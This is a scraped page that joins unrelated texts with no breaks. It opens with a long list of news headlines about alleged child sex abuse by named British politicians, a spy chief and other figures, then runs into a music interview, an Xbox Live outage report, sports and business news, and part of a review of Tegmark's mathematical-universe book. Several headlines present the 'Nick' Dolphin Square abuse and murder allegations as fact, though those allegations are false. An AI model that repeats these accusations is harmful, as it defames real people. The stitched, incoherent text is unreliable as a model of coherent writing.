‘Murder at Thornham Magna’: ‘Darren’ relives harrowing scene
Tony McSweeney on trial for ‘child sex abuse’ at Grafton Close
Leon Brittan faced Met questions over Elm Guest House ‘visits’
Graham Wilmer: CSA inquiry panel to have no abuse survivors
Tory hopeful told speaker’s dinner: Leon Brittan is a paedophile
Leon Brittan buried in unmarked grave in ‘very private funeral’
Theresa May stunned members of CSA inquiry at final meeting
Bid to bar reporting Ken Clarke’s name in sex accuser’s trial fails
Leon Brittan was under Met probe over claims of child sex abuse
Abuse survivors call on Yard to continue probe into Leon Brittan
Commentary: skulduggery besieges inquiry into child sex abuse
Video: ‘Darren’ calls on police to arrest Dolphin Square abusers Updated 14 December 2015
Commentary: panel for inquiry into child sex abuse must stay
Dolphin Square: third witness tells of child sex abuse by MPs Updated 14 December 2015
Peter Righton ordered teenager to ‘pleasure’ Charles Napier
Ex-minister wanted boys dressed in ladies’ lacy underwear
Darren: my dread of ‘medical room’ at Dolphin Square flat
Home Office mandarins ‘are seeking to subvert abuse inquiry’
Charles Napier jailed in first triumph for ‘Operation Fairbank’
Paedophile operations: ex-police to submit dossier to Met chief
Police discuss submitting statements on paedophile ‘cover-up’
Police to ask ‘Nick’ to try to identify victims from ‘missing boys’
Theresa May to scrap panel for inquiry into child sex abuse
Police privately admit ‘cover-up’ for paedophile MPs and VIPs
Protected: paedophile MPs and ‘prominent people’, say police
Lord Janner faces re-opened police probe into child sex abuse
Exaro and David Hencke up for top awards over CSA inquiry
Buckingham Palace drawn into scandal over ‘paedophile ring’
Revealed: buried files link Buckingham Palace to paedophilia Updated 30 January 2015
MP paedophiles were ‘Untouchables’ – ex-Special Branch officer
Met trawls files on 200 missing boys in murder probe into VIPs
‘Operation Midland’ investigates Tory MP over boy’s murder
Analysis: what led to ‘homicide’ probe by ‘Operation Midland’
Ex-MI6 chief named as sexual abuser of boys at Dolphin Square
Revealed: Peter Hayman, paedo, spy. Tinker, Tailor, Soldier, PIE
How Peter Hayman was linked in Parliament to paedophile ring
Video: ‘Nick’ tells of how MPs ‘liked to inflict pain’ during abuse
Met starts investigation into child sex abuse at Dolphin Square
Nick: one MP abuser was ‘sadistic’ – another especially violent
Justin Welby admits: child abuse has been ‘rampant’ within CoE
Fiona Woolf grilled by MPs about her links with Lord Brittan
Lord Brittan leaves vice-chairman job at UBS Investment Bank
Clergy to be given training on ‘safeguarding’ children in CoE
‘Operation Fernbridge’ loses chief as pressure mounts on Met
Graham Wilmer blasts Michael Gove over sex abuse at schools
Catholic school’s child psychotherapist exposed as paedophile
Commentary: how paedophile Peter Morrison escaped exposure
Inquiry head faces calls to declare links with Leon Brittan fully
Fiona Woolf to defend her role as head of CSA inquiry ‘robustly’
Conservative conference faces fresh claims over paedophile MPs
New head of CSA inquiry is cleared to read intelligence papers
‘Only one in 20 victims of child sex abuse likely to win civil claim’
Scotland Yard delays 200 charges over claims of child sex abuse
Rochdale council rejects claim of child sex abuse as ‘out of time’
Police investigate second boys’ school linked to Cyril Smith MP
Church to spend £2m on support for victims of child sex abuse
Prosecutors reinstate key charges after error over Elm Guest House
CPS forced to disclose damning police report on Cyril Smith
Cyril Smith: damning police report on his sexual abuse – in full
Theresa May ‘to consult’ on choice for new head of CSA inquiry
Audio file set to blow lid off paedophile scandal at Westminster
Baroness Butler-Sloss faces another hitch in heading CSA inquiry Updated 14 July 2014
Dolphin Square: MPs threw parties ‘for sexual abuse of children’
MPs took boys to Dolphin Square for sexual assault – and rape
MPs, celebrities and spies share dark secrets of Dolphin Square
MPs tell Theresa May: abuse survivors must be on inquiry panel
Theresa May orders independent inquiry into child sex abuse Updated 8 July 2014
CSA inquiry: Theresa May’s statement to House of Commons
Baroness Butler-Sloss and bishop of Durham back CSA inquiry: list of Lords who back inquiry call
DPP forced Scotland Yard to quiz Leon Brittan over rape claim
Theresa May delays decision on call by 141 MPs for CSA inquiry Updated 4 July 2014
Dear Zac, no CSA inquiry yet, maybe later. Yours, Theresa May
Five more Conservative MPs join cross-party call for CSA inquiry
Leon Brittan and Home Office issue statements on missing file
Simon Danczuk asks DPP to review claim over Elm Guest House
Commentary: no MP should name ‘paedophile’ ex-minister yet
Andy Burnham presses Jeremy Hunt for ‘overarching inquiry’
MPs who want inquiry into organised abuse of children tops 100
BASW e-mails 15,000 social workers: lobby MPs for CSA inquiry
MPs tell Tim Loughton: we also want inquiry into child sex abuse Updated 19 June 2014
Every MP asked to back inquiry into organised child sex abuse
David Cameron pressed at PMQs on inquiry into child sex abuse
Pressure builds in Parliament to address child sex abuse in UK: full list of MPs who back CSA inquiry
Met complains about Exaro’s ‘overly intrusive’ investigation
MPs call on Theresa May to set up inquiry into child sex abuse
Police keep failing ‘to follow evidence’ in abuse cases, say MPs
Met ‘breached guidelines’ in rape investigation into ex-minister
Detectives fail to see how ‘Jane’ refused consent in rape case
Police smear woman who alleged rape by ex-cabinet minister
Video: ‘Jane’ gives her account of rape by ex-cabinet minister
‘Rapist’ ex-cabinet minister named in Tom Watson’s DPP letter
Tom Watson asks DPP to review rape claim against ex-minister
‘Ex-cabinet minister raped me when I was 19,’ woman tells Met
Jane: ‘Ex-cabinet minister raped me when I was 19’ – part 1
Jane: ‘Ex-cabinet minister raped me when I was 19’ – part 2
Jane: ‘Ex-cabinet minister raped me when I was 19’ – part 3
Jane: ‘Ex-cabinet minister raped me when I was 19’ – part 4
Jane: ‘Ex-cabinet minister raped me when I was 19’ – part 5
Police pore through council files on Cyril Smith’s special school
Customs seized video of child sex abuse and ex-cabinet minister
Man who tried to import video: ‘I did not know what was inside’
David Hencke nominated for Orwell Prize 2014 for Exaro scoops
Revealed: Whitehall official who blocked objections to fund PIE
Police poised to level charges in paedophile ring linked to MPs
Police and CPS ‘leave survivors of child sex abuse in the lurch’
Commentary: ‘justice’ in UK still fails survivors of child sex abuse
Detectives investigate use of ‘staging post’ for Elm Guest House
Met’s ‘VIP paedophiles’ probe turns into murder investigation
Met’s paedophile unit seizes video of ex-minister at ‘sex party’ Updated 11 January 2014
‘Operation Fernbridge’ releases Elm co-manager without charge
CPS to drop key charges brought under ‘Operation Fernbridge’ Updated 27 June 2014
Revealed: Cyril Smith hoped to help take direct control of school
Police arrest man over false accusation against Kenneth Clarke
Police pursue new leads in paedophile case against ex-minister
Secret files expose Cyril Smith’s ‘special school for child abuse’
Knowl View files: Rochdale council chiefs warned of ‘scandal’
Knowl View files: ‘serious sexual incidents’ logged in report
Knowl View files: staff, governors and authorities failed boys
Priest and ex-manager of Richmond children’s home in court
Revealed: how Cyril Smith denied paedophile claims to police
Cyril Smith told detectives: I never behaved in any indecent way
‘Operation Fernbridge’ arrests ex-manager of Elm Guest House
Church of England considers ‘commission’ on child sex abuse
Ofsted forces private school to close over sexual abuse of pupils
Exaro’s video shows ‘Fairbank’ arrest of Tory MP’s half-brother
Met’s ‘Operation Fairbank’ arrests half-brother of top Tory MP
Kenneth Clarke wrongly accused of indecently assaulting boy
How I helped police clear Kenneth Clarke of ‘sex assault’ smear
MBE for head of project helping sex victims, but funding is axed
Labour urges re-think on reporting by schools of abuse claims
Michael Gove blocks move to force schools to report sex abuse
Met’s ‘Operation Fernbridge’ is ‘going well’, says Boris Johnson
Met investigates Catholic order’s schools over child sex abuse
Operation Torva: ex-pupil joined police and triggered Met probe
MoD policy on claims of child sex abuse at schools ‘stuns’ MPs
Police abandon probe into Cyril Smith’s sexual abuse of boys
Elm Guest House linked to ‘Britain’s biggest child sex racket’
Ex-Richmond boss Louis Minster denies being… Louis Minster
Scene pictured from children’s home in Met’s paedophile case
Richmond files reveal failure to pursue claim of child sex abuse
Met investigates police watchdog over Richmond ‘paedo ring’
Met’s paedophile unit starts investigating Catholic Church in UK
Police commander overseeing ‘Operation Yewtree’ quits Met
Police seek Asbo-style orders against suspected paedophiles
Child sex abuse: groups offering support services face closure
Police re-open files on child sex abuse at Kincora boys’ home
Witnesses in ‘Operation Fernbridge’ plead for support service
Two who suffered sexual abuse make appeal through Exaro
Analysis: we must change how society tackles child sex abuse
Richmond council ‘was alerted to allegations of child sex abuse’
Police gave council advance warning of raid on Elm Guest House
Met paedophile unit prepares to arrest ex-Tory cabinet minister
Met detectives told of Jimmy Savile’s link to Elm Guest House
Analysis: public should know truth about VIP paedophile ring
Co-manager of guest house in police probe plans to leave UK
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of my favorite artists growing up was The Postal Service, and [that was kind of] how they did their album too — sending sounds back and forth and acapella. I really like that approach and tried to do that for this album.
Tell me about growing up in the Bay Area, going to Berkeley and how you started making music and taking it more seriously as a possible career.
I’ve always been making music throughout my teenage years. I was in bands throughout high school and early college, so when I was going to Berkeley, I pretty much spent most of my free time in my dorm room writing songs. I would skip class just to write and finish songs. As a student, I definitely wasn’t the best. I was studying political economy and I honestly forgot everything that I learned. Luckily my music was getting a lot of attention by the time I graduated so I was able to segue straight into doing music full-time.
Your album feels very house and loungey, different from a lot of electronic music today. Was that kind of in your conscience to have that vibe coming from your album?
I enjoy a wide variety of genres and I really like pop music, so I think this album was kind of my weird attempt at making odd music — incorporating vocals and adhering to more traditional song structures and whatnot.
What is your general creative process when you go into the studio to record?
I would say most of [my] time is spent consuming other art, or listening to other music. I feel like your output is only as good as your input. So 95 percent of the time, I’m not working on music and just consuming other forms of art. The other 5 percent of the time, I’m in my software putting together melodies and chord progressions that were influenced by whatever art or surrounding or environment that I’m influenced by.
How do you feel about being Asian American in the music industry?
It’s cool that the Giraffage project has gone as far as it’s gone. I think it’s just important to have heroes that look like you. Growing up, my favorite band was Thrice, probably because one of their guitarists is Asian. I learned Thrice songs on the guitar and bought a guitar that looked exactly like [Teppei Teranishi’s]. He just made me more confident that maybe I can pursue music and could be at the level that he is at, versus if there was no one that looked like me, I’d probably have no confidence [and think] that’d never happen.
It’s cool to think that somewhere out there, there’s a young Asian person who can see me doing music and would give them more power and confidence to make music themselves. We’re still somewhat of a rarity, but there’s definitely way more Asians in the spotlight than there were even five years ago. I’m hoping to push Asians to have the confidence to pursue more creative endeavors such as music, design and art instead of traditional roles like doctors, programmers and engineers.
Do you have any words of advice for other artists?
I would just say make music for yourself and don’t really worry about what other people think and how they perceive your art. I feel the best art is made in a pure space, and you have to make it for yourself before others can even start to enjoy it.
What can we look forward to from you in the near future?
I have this [current fall] tour and another tour in Europe. I’m doing a bunch of festivals in the new year, so I’m going to be on the road for pretty much all of next year. But I do want to start some side projects [and] make music that I haven’t really explored. I want to put together a band and make guitar-oriented music.
Giraffage is currently on tour with Filipino American electronic music producer Sweater Beats. You can catch them live at The Fonda Theatre in Los Angeles on Wednesday, Nov. 29.
Follow Giraffage on Facebook, Twitter, YouTube, SoundCloud, Instagram and his website at giraffage.com.It appears Xbox Live was down for gamers across the globe late Tuesday. The service, which allows online play, and access to a catalog of movies, television, and games to purchase, was offline for some time, to the point that Twitter accounts belonging to popular online-only games reported on the issue:
PSA: Xbox Live is currently down, which may impact Key and Car Purchases in Rocket League. Head to https://t.co/mpqjJwtdRf for more info. — Rocket League (@RocketLeague) October 10, 2017
⚠️Xbox Live is currently experiencing a service interruption. Please check here for status updates: https://t.co/f4coUA1cSe — Bethesda Support (@BethesdaSupport) October 10, 2017
Xbox Support tweeted the issue ttoo, and also drew attention to the fact the Xbox website was down as well – though Xbox.com returned to functionality as of 6:37pm Central Standard Time:
We've got the proper teams investigating sign-in issues across Xbox One consoles & our website. We'll provide more info when we have it! — Xbox Support (@XboxSupport) October 10, 2017
Initially thought of as a Destiny specific problem,it’s clear now it was more of a global issue.
The Xbox Live Status for ‘Core Services’ and ‘Purchase and Content Usage’ had alerts citing them as ‘limited’…which meant Xbox Live was down. The issue was affecting Xbox One, Xbox 360, Windows 10, and Mobile devices that utilize the network.
However – you *could* access in-game servers for many games, including Madden. The outage was not affecting match-making, cloud services, or games that require connectivity, though the initial lack of Xbox Live functionality may have lead a player to think otherwise.
Xbox live is down and beginning to wonder if I should buy a PS4 #xboxlive pic.twitter.com/paPv3GZvM9 — Matt Blanke (@MBBlanke) October 10, 2017
With online functionality being such a huge aspect of console gameplay, the outage is frustrating. There was a similar outage during the Madden launch in August.
https://twitter.com/MyNameIsNotBro/status/917894607924551682
Normally, there’s a status update webpage for Xbox via Microsoft, but as the Xbox.com was down at the time of initial outage, gamers were relying on the Xbox Support Twitter Account. Thankfully the website resumed functionality, although the status update website fluctuated in-and-out of availability.
As a curious note, ‘Alien Paradox’ seemed to suggest they took responsibility for the outage, though their lack of followers (and functioning website) seemed to dissuade that notion:
https://twitter.com/AlienParadoxHQ/status/917892670684581894
As more games move toward online-focused gameplay, be it Elder Scrolls Online, Rocket League, Madden Ultimate Team, or Destiny 2, it’s becoming apparent that network stability will be a major pain point for gamers who are accustomed to playing what they want, when they want. The notion of being locked out of services due to back-end issues for the second extended period of time in 2 months, will surely leave gamers with idle thumbs with a sour taste in their mouth.Oh, sure, you can get your cash out of a plain old ATM, like a straight person. Or you can deplete your checking account at a GAYTM.
Australian bank ANZ has converted a couple of ATMs into rainbow-festooned, pink-animal-print eyesores to celebrate Sydney Gay and Lesbian Mardi Gras. And although they are truly hideous, we certainly appreciate the gesture. And they’re donating a bunch of ATM fees to the organization Twenty10, which provides support services to LGBTs, so now we just feel like jerks for pointing out how garish the designs are.
Really, though, they are super-gaudy. But that’s sort of the look of Mardi Gras, so what are you going to do?
Check out the video below, and also the GAYTM site which is literally exploding with rainbows and unicorns. And if you’re a gay who appreciates simple, streamlined design, maybe just skip the whole thing and cuddle up with a Taschen book.Image copyright Google Image caption St Mary's would stop charging fees if it became a free school
A school whose past pupils include the Archbishop of Westminster says the Roman Catholic Church has forced it to abandon a bid to become a free school.
St Mary's College in Crosby, Merseyside, said as a free school it would accept children from "disadvantaged backgrounds".
But the principal said the bid had been scrapped after Liverpool Archdiocese refused to back the plan.
Nobody from Liverpool Archdiocese was available for comment.
The move was rejected by the recently-installed Archbishop of Liverpool, the Rt Rev Malcolm McMahon, who is chair of the Catholic Education Service of England and Wales.
It is church policy to oppose free schools because there is a 50% cap on Catholic admissions.
St. Mary's Principal Mike Kennedy said, "Obviously we are disappointed that we have been forced to withdraw our free school application, because we felt it represented an exciting opportunity for us to widen access to the excellent education we offer."
He said the plans had been strongly supported by parents.
Image copyright PA/Reuters Image caption The school's alumni include a cardinal, a poet and a peer
Mr Kennedy said the school could have become a wider Christian school but this was not supported by the Congregation of Christian Brothers, the religious order which founded the school and still owns the land.
He added: "St Mary's College will continue as an independent Catholic school... we will also carry on exploring ways to raise further funds to enable us to welcome more pupils from families who may be unable to afford school fees."
The Archbishop of Westminster, Cardinal Vincent Nichols, attended the school.
Other ex-pupils include former BBC Director General Lord Birt and poet Roger McGough.
Previously the archdiocese has said the admissions cap "is not a secure basis for the provision of a Catholic school."4.5
Jun 01, 2017 6:43 am
https://www.vg247.com/2017/06/01/we-can-do-more-microtransactions-says-publisher-of-gta-and-red-dead-redemption/
The boss of Take-Two – the company that publishes Grand Theft Auto and the upcoming Red Dead Redemption 2 – has said it sees the opportunity to add more microtransactions to its games.According to CEO Strauss Zelnick, Take-Two doesn’t rely as heavily on microtransactions in-game as other publishers do, and although it sees opportunities, it doesn’t intend to flood its games with extra optional charges.“You can’t give stuff away for free in perpetuity; there’s no business model in that,” he told the Cowen & Company media conference, according to GameSpot.“But we’re not trying to optimise the monetisation of everything we do to the nth degree. My concern is, if you do that, the consumer knows. They might not even know that they know, but they feel it.”GTA 5, which has sold-in 80 million copies over four years, and GTA Online, are still big digital earners for Take-Two.All GTA Online content is released for free, but players can buy optional Shark Cards to spend real money on items and vehicles if they don’t want to earn currency in-game.“We are convinced that we are probably from an industry view under-monetising on a per-user basis,” added Zelnick“There is wood to chop because I think we can do more, and we can do more without interfering with our strategy of being the most creative and our ethical approach, which is delighting consumers. We’re not going to grab the last nickel,” he said.We know Rockstar’s next big game, Red Dead Redemption 2, will have online features, but not how microtransactions will be applied, or whether it will see future paid-for DLC. Eitherway, the game has been pushed out of its original launch this year and into 2018.As the goals piled up for Haji Wright, a rising star for the United States’ under-17 national team, the biggest question was whether he would continue his development in M.L.S. or leave for Europe.
On Saturday, Wright committed to begin his professional career in the United States, but he will do so with the New York Cosmos of the North American Soccer League, according to people familiar with the deal.
The Cosmos are expected to formally announce the signing of Wright — a former Los Angeles Galaxy academy player who turned 17 on Friday — as early as Monday. He is expected to train with the Cosmos’ first team immediately. The N.A.S.L. regular season opens on Saturday with four matches, including a visit by the Cosmos to the Fort Lauderdale Strikers.
The signing of Wright is the latest signal from the Cosmos and the N.A.S.L., officially the second tier in the American soccer pyramid, that the league intends to compete with M.L.S. for players, fans and attention. M.L.S. had fired its own shot in that battle last week by announcing that it would accept an existing N.A.S.L. club, Minnesota United F.C., as an expansion team in 2018.Jordan Zimmermann (Photo: Robin Buckson, Detroit News)
Detroit – Two of the Tigers’ “trade deadline acquisitions” are about ready to join the club and contribute.
Manager Brad Ausmus said before the game Tuesday that right-handed starting pitcher Jordan Zimmermann, who has been on the disabled list since July 4, will start against the White Sox Thursday afternoon.
Then after the game, Ausmus announced that right-fielder J.D. Martinez, on the DL since June 16, would be activated and be available to play Wednesday.
To make room for him on the 25-man roster, right-handed start Mike Pelfrey was put on the 15-day disabled list with lower back strain.
General manager Al Avila made a point of saying the Tigers’ deadline moves would be the return of those two players from the DL, as well as left-handed pitcher Daniel Norris.
“You look at it, we are adding two arms and a bat that really I’d put up against anybody on the trade market,” catcher James McCann said. “And we didn’t give up any pieces to get them back. To me, that’s a winning trade deadline for us.”
Norris was activated from the DL Tuesday and sent back to Triple-A Toledo. Most likely, the Tigers will option right-handed reliever Dustin Molleken back to Toledo before Zimmermann is activated Thursday.
Another option would be to keep Molleken and option outfielder Tyler Collins to Toledo. That decision is expected after the game Wednesday
“Although we didn’t go out and make a move, we are getting a couple of new bodies back,” Ausmus said. “It’s good we’re getting people back, but all these guys have to play well. It’s not like you just get people back and it’s all roses. We’ve got to go out and play well and beat the other teams.”
Martinez played his seventh and eighth games of his rehab assignment at Toledo Tuesday. He’s played right field in two of those games, including the first of a doubleheader Tuesday. He was in the lineup as the DH in the nightcap.
He was hitting.303 (10-for-33) with three doubles and five RBIs prior to the nightcap Tuesday.
“He’s been fine from a health standpoint,” Ausmus said. “He’s been throwing on a daily basis. If all goes well, he could be here before the end of this series.”
Pelfrey going on the DL – his back tightened up on him again Tuesday – and Norris back in Toledo, the back end of the Tigers rotation is settled for now. Left-hander Matt Boyd and Anibal Sanchez, who posted his first win as a starter Tuesday since April 28, will be the fourth and fifth starters going forward.
“I think Boyd has pitched consistently enough recently to deserve another opportunity,” Ausmus said.
Fulmer starts Wednesday, Zimmermann Thursday and Justin Verlander opens the series against the Mets on Friday. Boyd will pitch Saturday and Sanchez again on Sunday.
Ausmus said Zimmermann was stretched out to about 90 pitches for the start Thursday. Verlander is scheduled to start the series opener against the Mets on Friday, but Ausmus has not set his starters for Saturday or Sunday. Presumably Boyd would start Saturday.
“We have who we have and we’re going to run them out there,” Ausmus said. “If they pitch well, we will keep them in the rotation. It’s as simple as that. It’s not rocket science.”
As for Norris, Ausmus said he just needs to pitch well and be ready.
“A lot of it is out of his control,” he said. “He needs to go down and pitch. He can’t worry about what’s happening in Detroit. He can’t control how the starters up here are pitching and he can’t control the health of those people.
“He needs to pitch well so if something does happen where there is a spot open in the rotation, he’s the guy we call.”
twitter.com/cmccoskyThe September salary release by the MLS Players Union is rarely news, it's more like an addendum. A few players are added to teams, most taken away. Big budget players are generally already known, and in this case they make sense (except for David Villa's $60,000). Seattle Sounders FC made two midseason additions and lost three players since the April release.
Recent signing Onyekachi Apam signed for only $60,000 and Aaron Long is making the developmental minimum of $36,504. Long is one of only three players making that amount, and one is on loan to the Cosmos.
Seattle's losses since the last update are Shalrie Joseph, David Estrada and Fabio Pereira. This means their total guaranteed spend went down between the two releases.
As always these are a rough guide that may, or may not, include Allocation Money. It is a handy reminder of how close to "not a Designated Player" Osvaldo Alonso is.Two months ago, commenter rrtucci asked me what I thought about Max Tegmark and his “Mathematical Universe Hypothesis”: the idea, which Tegmark defends in his recent book Our Mathematical Universe, that physical and mathematical existence are the same thing, and that what we call “the physical world” is simply one more mathematical structure, alongside the dodecahedron and so forth. I replied as follows:
…I find Max a fascinating person, a wonderful conference organizer, someone who’s always been extremely nice to me personally, and an absolute master at finding common ground with his intellectual opponents—I’m trying to learn from him, and hope someday to become 10-122 as good. I can also say that, like various other commentators (e.g., Peter Woit), I personally find the “Mathematical Universe Hypothesis” to be devoid of content.
After Peter Woit found that comment and highlighted it on his own blog, my comments section was graced by none other than Tegmark himself, who wrote:
Thanks Scott for your all to [sic] kind words! I very much look forward to hearing what you think about what I actually say in the book once you’ve had a chance to read it! I’m happy to give you a hardcopy (which can double as door-stop) – just let me know.
With this reply, Max illustrated perfectly why I’ve been trying to learn from him, and how far I fall short. Where I would’ve said “yo dumbass, why don’t you read my book before spouting off?,” Tegmark gracefully, diplomatically shamed me into reading his book.
So, now that I’ve done so, what do I think? Briefly, I think it’s a superb piece of popular science writing—stuffed to the gills with thought-provoking arguments, entertaining anecdotes, and fascinating facts. I think everyone interested in math, science, or philosophy should buy the book and read it. And I still think the MUH is basically devoid of content, as it stands.
Let me start with what makes the book so good. First and foremost, the personal touch. Tegmark deftly conveys the excitement of being involved in the analysis of the cosmic microwave background fluctuations—of actually getting detailed numerical data about the origin of the universe. (The book came out just a few months before last week’s bombshell announcement of B-modes in the CMB data; presumably the next edition will have an update about that.) And Tegmark doesn’t just give you arguments for the Many-Worlds Interpretation of quantum mechanics; he tells you how he came to believe it. He writes of being a beginning PhD student at Berkeley, living at International House (and dating an Australian exchange student who he met his first day at IHouse), who became obsessed with solving the quantum measurement problem, and who therefore headed to the physics library, where he was awestruck by reading the original Many-Worlds articles of Hugh Everett and Bryce deWitt. As it happens, every single part of the last sentence also describes me (!!!)—except that the Australian exchange student who I met my first day at IHouse lost interest in me when she decided that I was too nerdy. And also, I eventually decided that the MWI left me pretty much as confused about the measurement problem as before, whereas Tegmark remains a wholehearted Many-Worlder.
The other thing I loved about Tegmark’s book was its almost comical concreteness. He doesn’t just metaphorically write about “knobs” for adjusting the constants of physics: he shows you a picture of a box with the knobs on it. He also shows a “letter” that lists not only his street address, zip code, town, state, and country, but also his planet, Hubble volume, post-inflationary bubble, quantum branch, and mathematical structure. Probably my favorite figure was the one labeled “What Dark Matter Looks Like / What Dark Energy Looks Like,” which showed two blank boxes.
Sometimes Tegmark seems to subtly subvert the conventions of popular-science writing. For example, in the first chapter, he includes a table that categorizes each of the book’s remaining chapters as “Mainstream,” “Controversial,” or “Extremely Controversial.” And whenever you’re reading the text and cringing at a crucial factual point that was left out, chances are good you’ll find a footnote at the bottom of the page explaining that point. I hope both of these conventions become de rigueur for all future pop-science books, but I’m not counting on it.
The book has what Tegmark himself describes as a “Dr. Jekyll / Mr. Hyde” structure, with the first (“Dr. Jekyll”) half of the book relaying more-or-less accepted discoveries in physics and cosmology, and the second (“Mr. Hyde”) half focusing on Tegmark’s own Mathematical Universe Hypothesis (MUH). Let’s accept that both halves are enjoyable reads, and that the first half contains lots of wonderful science. Is there anything worth saying about the truth or falsehood of the MUH?
In my view, the MUH gestures toward two points that are both correct and important—neither of them new, but both well worth repeating in a pop-science book. The first is that the laws of physics aren’t “suggestions,” which the particles can obey when they feel like it but ignore when Uri Geller picks up a spoon. In that respect, they’re completely unlike human laws, and the fact that we use the same word for both is unfortunate. Nor are the laws merely observed correlations, as in “scientists find link between yogurt and weight loss.” The links of fundamental physics are ironclad: the world “obeys” them in much the same sense that a computer obeys its code, or the positive integers obey the rules of arithmetic. Of course we don’t yet know the complete program describing the state evolution of the universe, but everything learned since Galileo leads one to expect that such a program exists. (According to quantum mechanics, the program describing our observed reality is a probabilistic one, but for me, that fact by itself does nothing to change its lawlike character. After all, if you know the initial state, Hamiltonian, and measurement basis, then quantum mechanics gives you a perfect algorithm to calculate the probabilities.)
The second true and important nugget in the MUH is that the laws are “mathematical.” By itself, I’d say that’s a vacuous statement, since anything that can be described at all can be described mathematically. (As a degenerate case, a “mathematical description of reality” could simply be a gargantuan string of bits, listing everything that will ever happen at every point in spacetime.) The nontrivial part is that, at least if we ignore boundary conditions and the details of our local environment (which maybe we shouldn’t!), the laws of nature are expressible as simple, elegant math—and moreover, the same structures (complex numbers, group representations, Riemannian manifolds…) that mathematicians find important for internal reasons, again and again turn out to play a crucial role in physics. It didn’t have to be that way, but it is.
Putting the two points together, it seems fair to say that the physical world is “isomorphic to” a mathematical structure—and moreover, a structure whose time evolution obeys simple, elegant laws. All of this I find unobjectionable: if you believe it, it doesn’t make you a Tegmarkian; it makes you ready for freshman science class.
But Tegmark goes further. He doesn’t say that the universe is “isomorphic” to a mathematical structure; he says that it is that structure, that its physical and mathematical existence are the same thing. Furthermore, he says that every mathematical structure “exists” in the same sense that “ours” does; we simply find ourselves in one of the structures capable of intelligent life (which shouldn’t surprise us). Thus, for Tegmark, the answer to Stephen Hawking’s famous question—“What is it that breathes fire into the equations and gives them a universe to describe?”—is that every consistent set of equations has fire breathed into it. Or rather, every mathematical structure of at most countable cardinality whose relations are definable by some computer program. (Tegmark allows that structures that aren’t computably definable, like the set of real numbers, might not have fire breathed into them.)
Anyway, the ensemble of all (computable?) mathematical structures, constituting the totality of existence, is what Tegmark calls the “Level IV multiverse.” In his nomenclature, our universe consists of anything from which we can receive signals; anything that exists but that we can’t receive signals from is part of a “multiverse” rather than our universe. The “Level I multiverse” is just the entirety of our spacetime, including faraway regions from which we can never receive a signal due to the dark energy. The Level II multiverse consists of the infinitely many other “bubbles” (i.e., “local Big Bangs”), with different values of the constants of physics, that would, in eternal inflation cosmologies, have generically formed out of the same inflating substance that gave rise to our Big Bang. The Level III multiverse is Everett’s many worlds. Thus, for Tegmark, the Level IV multiverse is a sort of natural culmination of earlier multiverse theorizing. (Some people might call it a reductio ad absurdum, but Tegmark is nothing if not a bullet-swallower.)
Now, why should you believe in any of these multiverses? Or better: what does it buy you to believe in them?
As Tegmark correctly points out, none of the multiverses are “theories,” but they might be implications of theories that we have other good reasons to accept. In particular, it seems crazy to believe that the Big Bang created space only up to the furthest point from which light can reach the earth, and no further. So, do you believe that space extends further than our cosmological horizon? Then boom! you believe in the Level I multiverse, according to Tegmark’s definition of it.
Likewise, do you believe there was a period of inflation in the first ~10-32 seconds after the Big Bang? Inflation has made several confirmed predictions (e.g., about the “fractal” nature of the CMB perturbations), and if last week’s announcement of B-modes in the CMB is independently verified, that will pretty much clinch the case for inflation. But Alan Guth, Andrei Linde, and others have argued that, if you accept inflation, then it seems hard to prevent patches of the inflating substance from continuing to inflate forever, and thereby giving rise to infinitely many “other” Big Bangs. Furthermore, if you accept string theory, then the six extra dimensions should generically curl up differently in each of those Big Bangs, giving rise to different apparent values of the constants of physics. So then boom! with those assumptions, you’re sold on the Level II multiverse as well. Finally, of course, there are people (like David Deutsch, Eliezer Yudkowsky, and Tegmark himself) who think that quantum mechanics forces you to accept the Level III multiverse of Everett. Better yet, Tegmark claims that these multiverses are “falsifiable.” For example, if inflation turns out to be wrong, then the Level II multiverse is dead, while if quantum mechanics is wrong, then the Level III one is dead.
Admittedly, the Level IV multiverse is a tougher sell, even by the standards of the last two paragraphs. If you believe physical existence to be the same thing as mathematical existence, what puzzles does that help to explain? What novel predictions does it make? Forging fearlessly ahead, Tegmark argues that the MUH helps to “explain” why our universe has so many mathematical regularities in the first place. And it “predicts” that more mathematical regularities will be discovered, and that everything discovered by science will be mathematically describable. But what about the existence of other mathematical universes? If, Tegmark says (on page 354), our qualitative laws of physics turn out to allow a narrow range of numerical constants that permit life, whereas other possible qualitative laws have no range of numerical constants that permit life, then that would be evidence for the existence of a mathematical multiverse. For if our qualitative laws were the only ones into which fire had been breathed, then why would they just so happen to have a narrow but nonempty range of life-permitting constants?
I suppose I’m not alone in finding this totally unpersuasive. When most scientists say they want “predictions,” they have in mind something meatier than “predict the universe will continue to be describable by mathematics.” (How would we know if we found something that wasn’t mathematically describable? Could we even describe such a thing with English words, in order to write papers about it?) They also have in mind something meatier than “predict that the laws of physics will be compatible with the existence of intelligent observers, but if you changed them a little, then they’d stop being compatible.” (The first part of that prediction is solid enough, but the second part might depend entirely on what we mean by a “little change” or even an “intelligent observer.”)
What’s worse is that Tegmark’s rules appear to let him have it both ways. To whatever extent the laws of physics turn out to be “as simple and elegant as anyone could hope for,” Tegmark can say: “you see? that’s evidence for the mathematical character of our universe, and hence for the MUH!” But to whatever extent the laws turn out not to be so elegant, to be weird or arbitrary, he can say: “see? that’s evidence that our laws were selected more-or-less randomly among all possible laws compatible with the existence of intelligent life—just as the MUH predicted!”
Still, maybe the MUH could be sharpened to the point where it did make definite predictions? As Tegmark acknowledges, the central difficulty with doing so is that no one has any idea what measure to use over the space of mathematical objects (or even computably-describable objects). This becomes clear if we ask a simple question like: what fraction of the mathematical multiverse consists of worlds that contain nothing but a single three-dimensional cube?
We could try to answer such a question using the universal prior: that is, we could make a list of all self-delimiting computer programs, then count the total weight of programs that generate a single cube and then halt, where each n-bit program gets assigned 1/2n weight. Sure, the resulting fraction would be uncomputable, but at least we’d have defined it. Except wait … which programming language should we use? (The constant factors could actually matter here!) Worse yet, what exactly counts as a “cube”? Does it have to have faces, or are vertices and edges enough? How should we interpret the string of 1’s and 0’s output by the program, in order to know whether it describes a cube or not? (Also, how do we decide whether two programs describe the “same” cube? And if they do, does that mean they’re describing the same universe, or two different universes that happen to be identical?)
